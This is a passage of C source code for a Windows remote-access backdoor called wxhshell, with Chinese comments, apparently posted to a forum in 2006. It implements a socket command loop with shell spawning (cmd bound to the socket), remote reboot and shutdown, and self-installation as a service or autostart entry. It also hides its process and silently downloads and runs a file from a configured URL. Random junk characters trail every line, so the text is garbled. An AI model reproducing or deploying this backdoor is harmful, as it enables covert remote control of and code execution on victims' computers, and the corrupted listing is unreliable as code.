  case '?': { }ok'd=M  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [jTZxH<  
    break; )Mh5q&ow  
  } {"_V,HmEF+  
  // 安装 ]:Pkh./  
  case 'i': { 7TA&u'  
    if(Install()) [pSQ8zdF"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w +HKvOs5c  
    else 7e Hj"_;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Fu65VLKh  
    break; hmI> 7@&  
    } -pQ0,/}K  
  // 卸载 uCj)7>}v{M  
  case 'r': { 2,p= %  
    if(Uninstall()) IeB^BD+j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V5+|H1=  
    else 33NzQb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LG=_>:~t>  
    break; !X1 KOG  
    } =g)SZK  
  // 显示 wxhshell 所在路径 jsq|K=x,  
  case 'p': { ht*;,[ea  
    char svExeFile[MAX_PATH]; JQSczE3  
    strcpy(svExeFile,"\n\r"); ]T%wRd5&-  
      strcat(svExeFile,ExeFile); /brHB @$  
        send(wsh,svExeFile,strlen(svExeFile),0); IW=%2n(<1  
    break; &7KX`%K"D  
    } ~uuM0POo  
  // 重启 ZSn6JV'g  
  case 'b': { A6#v6iT  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); v&xhS yZ  
    if(Boot(REBOOT)) zI_pP?4;.q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SA~oGgk=P  
    else { L/,M@1@R  
    closesocket(wsh); Kk>va->R  
    ExitThread(0); j^D/ ,SW  
    } 7 ;x to =  
    break; QPW+L*2  
    } ;MW=F9U*  
  // 关机 :Y4G^i  
  case 'd': { qR^+K@ *|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); C`\yc_b9Pf  
    if(Boot(SHUTDOWN)) Q'rX]kk_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W1[C/dDc  
    else { sX(rJLbD  
    closesocket(wsh); *!,k`=.([#  
    ExitThread(0); ki]i[cdk  
    } A{gniYqvB`  
    break; ,DCrhk  
    } Olr'n% }  
  // 获取shell VKy3tW/_&  
  case 's': { SKVQ !^o  
    CmdShell(wsh); Cil1wFBb  
    closesocket(wsh); $ 3R5p  
    ExitThread(0); xS_tB)C  
    break; ;eP. B/N  
  } nDXy$f8  
  // 退出 ?d)FYB  
  case 'x': { RY~m Q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); dEfP272M  
    CloseIt(wsh); ?IR+OCAA  
    break; <^adt *m  
    } f4^\iZ{`G  
  // 离开 {QT:1U \.  
  case 'q': { t#7owY$^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~ \ Udl  
    closesocket(wsh); mnM$#%q;%  
    WSACleanup(); =Ct$!uun  
    exit(1); V.w!]{xm  
    break; |L6 +e *  
        } VpB+|%@p  
  } *m&(h@l  
  } @Cl1G  
$wqi^q*)  
  // 提示信息 m[A$Sp_"-h  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;uqi  
} - S%8  
  } { ?]&P  
Sp@{5  
  return; e it%U  
} f:h<tlob  
!3Q^oR  
// shell模块句柄 2bTM0-  
int CmdShell(SOCKET sock) 3NrWt2?  
{ i",oPz7  
STARTUPINFO si; |]OI)w*  
ZeroMemory(&si,sizeof(si)); ,h'omU7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0y=lf+xA*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *"j3x} U<  
PROCESS_INFORMATION ProcessInfo; Oyy E0  
char cmdline[]="cmd"; ! p3vnOX6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); fUB+9G(Bx  
  return 0; Kk/cI6`W  
} \`YV)"y" ~  
fCi1JH;  
// 自身启动模式 `^ uX`M/  
int StartFromService(void) h5@JS1cY  
{ qa5 T(:8  
typedef struct u=sZFr@m[  
{ 6"La`}B(T8  
  DWORD ExitStatus; 4z,n:>oH  
  DWORD PebBaseAddress; +qmV|$rmM  
  DWORD AffinityMask; vtXZ`[D,l)  
  DWORD BasePriority; YJB f~0r  
  ULONG UniqueProcessId; mA6Nmq%{ F  
  ULONG InheritedFromUniqueProcessId; incUa;  
}   PROCESS_BASIC_INFORMATION; .Yxf0y?uv  
iIU>:)i  
PROCNTQSIP NtQueryInformationProcess; "ax"k0  
<*DP G\6Ma  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; oqy}?<SQ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Q5tx\GE  
e`Tssa+  
  HANDLE             hProcess; O+o_{t\R  
  PROCESS_BASIC_INFORMATION pbi; ~Q5 i0s%  
\>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /@]@Tz@'  
  if(NULL == hInst ) return 0; pAc "Wo(Q  
GD }i=TK  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); rTM0[2N  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); o`\@Yq$.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (?~*.g!  
[2nPr^  
  if (!NtQueryInformationProcess) return 0; (J`EC  
*@[+C~U  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6q~*\KRk  
  if(!hProcess) return 0; CL"q "  
(W_U<~`t  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &(rR)cG  
mf)E%qo  
  CloseHandle(hProcess); ?a` $Y>?h  
HH'5kE0;d  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |1Pi`^  
if(hProcess==NULL) return 0; s F3M= uz  
]nQ(|$rW  
HMODULE hMod; ^I6GH?19>e  
char procName[255]; aKC3v R0  
unsigned long cbNeeded; +zSdP2s  
 ~b LhI  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); jW_FaPW(p  
`rI[   
  CloseHandle(hProcess); XnV$}T:?X  
3ypf_]<  
if(strstr(procName,"services")) return 1; // 以服务启动 firiYL"=44  
VseeU;q  
  return 0; // 注册表启动 s@5r}6?M  
} IP l]$j>N  
p`{| [<  
// 主模块 !7aJfs2  
int StartWxhshell(LPSTR lpCmdLine) Bhw|!Y&%  
{ O_y?53X  
  SOCKET wsl; Q)}z$h55  
BOOL val=TRUE; 5tl uS  
  int port=0; HDT-f9%}<4  
  struct sockaddr_in door; D^\2a;[AxA  
a1# 'uS9W  
  if(wscfg.ws_autoins) Install(); ;U$EM+9  
]$?\,`  
port=atoi(lpCmdLine); f)!7/+9>  
FK.Qj P:  
if(port<=0) port=wscfg.ws_port; P};GcV-  
uM('R;<^  
  WSADATA data; ?FwjbG<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Af7&;8pM  
M]M(E) *5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   wT-@v,$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rgXD>yu(  
  door.sin_family = AF_INET; K^+}__;]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); q. NvwJ  
  door.sin_port = htons(port); ,N`D{H"F  
#Vh$u%q3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~F=,)GE  
closesocket(wsl); Z|qUVD5Ic  
return 1; cp<jwcc!  
} #gY|T|  
 0@dN$e  
  if(listen(wsl,2) == INVALID_SOCKET) { 6i_dL|c  
closesocket(wsl); ;B@-RfP  
return 1; T&~7*j(|e  
} #~`]eM5`J  
  Wxhshell(wsl); keL!;q|r-)  
  WSACleanup(); ,7|Wf %X  
I 6Mr[#*  
return 0; UIi`bbJ  
>PMLjXK  
} * IBCThj  
k>q}: J9V  
// 以NT服务方式启动  F5FzT^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) YUsMq3^&  
{ uV+.(sjH  
DWORD   status = 0; YN 31Lo  
  DWORD   specificError = 0xfffffff; A J"/T+g_  
RTRi{p  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <<.%Gk  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7__?1n~{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >@c~M  
  serviceStatus.dwWin32ExitCode     = 0; _4#&!b6  
  serviceStatus.dwServiceSpecificExitCode = 0; y<A%&  
  serviceStatus.dwCheckPoint       = 0; KHJk}]K  
  serviceStatus.dwWaitHint       = 0; 3Y+ bIz!  
I`8jJpGA  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =Frbhh57  
  if (hServiceStatusHandle==0) return; p$*;>YKO  
za oC  
status = GetLastError(); Wx-vWWx*Q  
  if (status!=NO_ERROR) H.8Vm[W  
{ bem-T`>'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; f:|O);nM  
    serviceStatus.dwCheckPoint       = 0; y OLqIvN  
    serviceStatus.dwWaitHint       = 0; BbdJR]N/!h  
    serviceStatus.dwWin32ExitCode     = status; &i%1\ o  
    serviceStatus.dwServiceSpecificExitCode = specificError; "ZLujpZcG  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); +1 j+%&).  
    return; njN]0l{p  
  } 2>!? EIE7  
[#-!&>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &33.mdBH  
  serviceStatus.dwCheckPoint       = 0; jwd{CN%  
  serviceStatus.dwWaitHint       = 0; -L%2*`-L$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); O9tgS@*Tv  
} u  t4+c0  
,Y3wXmG  
// 处理NT服务事件,比如:启动、停止 I_h{n{,sr  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ZT'Sw%U:  
{ X0"f>.Lg  
switch(fdwControl) hpVu   
{ 7yK1Q_XY>  
case SERVICE_CONTROL_STOP: 8${Yu  
  serviceStatus.dwWin32ExitCode = 0; eX@7f!uz  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Vdz(\-}ao  
  serviceStatus.dwCheckPoint   = 0; GxR, 3  
  serviceStatus.dwWaitHint     = 0; {BlKVsQ  
  { Ud8*yB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ';hTGLq\X  
  } Udh!%QP%[w  
  return; bn$}U.m$-  
case SERVICE_CONTROL_PAUSE: 2og8VI  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =!cI@TI  
  break; t|Ipxk.)  
case SERVICE_CONTROL_CONTINUE: p!~{<s]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "=BO,see9  
  break; 5h4E>LB.B  
case SERVICE_CONTROL_INTERROGATE: %Fg}"=f1  
  break; g}]EIv{  
}; XN=Cq*3}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U~w g'  
} MN22#G4j^w  
m*^|9*dIC  
// 标准应用程序主函数 4JD 8w3u/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) GqrOj++>  
{ &PAgab2$  
%VCfcM}5I  
// 获取操作系统版本 1xkU;no  
OsIsNt=GetOsVer(); #1C~i}J1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Q$(0Nx<  
n*oa J<o%  
  // 从命令行安装 A' \jaB  
  if(strpbrk(lpCmdLine,"iI")) Install(); <XHS@|  
"n3i (sZ  
  // 下载执行文件 U|%y `PZ  
if(wscfg.ws_downexe) { k<M~co;L  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) aumXidb S  
  WinExec(wscfg.ws_filenam,SW_HIDE); o,sw[  
} Q&9%XF uM  
>Lo!8Hen  
if(!OsIsNt) { dWI.t1`i  
// 如果时win9x,隐藏进程并且设置为注册表启动 OZ$"P<X_"  
HideProc(); ]%y~cq  
StartWxhshell(lpCmdLine); D-8>?`n\  
} %YaUc{.%  
else ^3-Wxn9&  
  if(StartFromService()) ;^,2 QsM  
  // 以服务方式启动 L8~nx}UP5  
  StartServiceCtrlDispatcher(DispatchTable); O&:0mpRZ  
else GD$jP?  
  // 普通方式启动 2 8j=q-9Z  
  StartWxhshell(lpCmdLine); `37GVo4  
/I' n]  
return 0; ?]=fC{Rh  
}
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只看该作者 1 发表于: 2006-10-10
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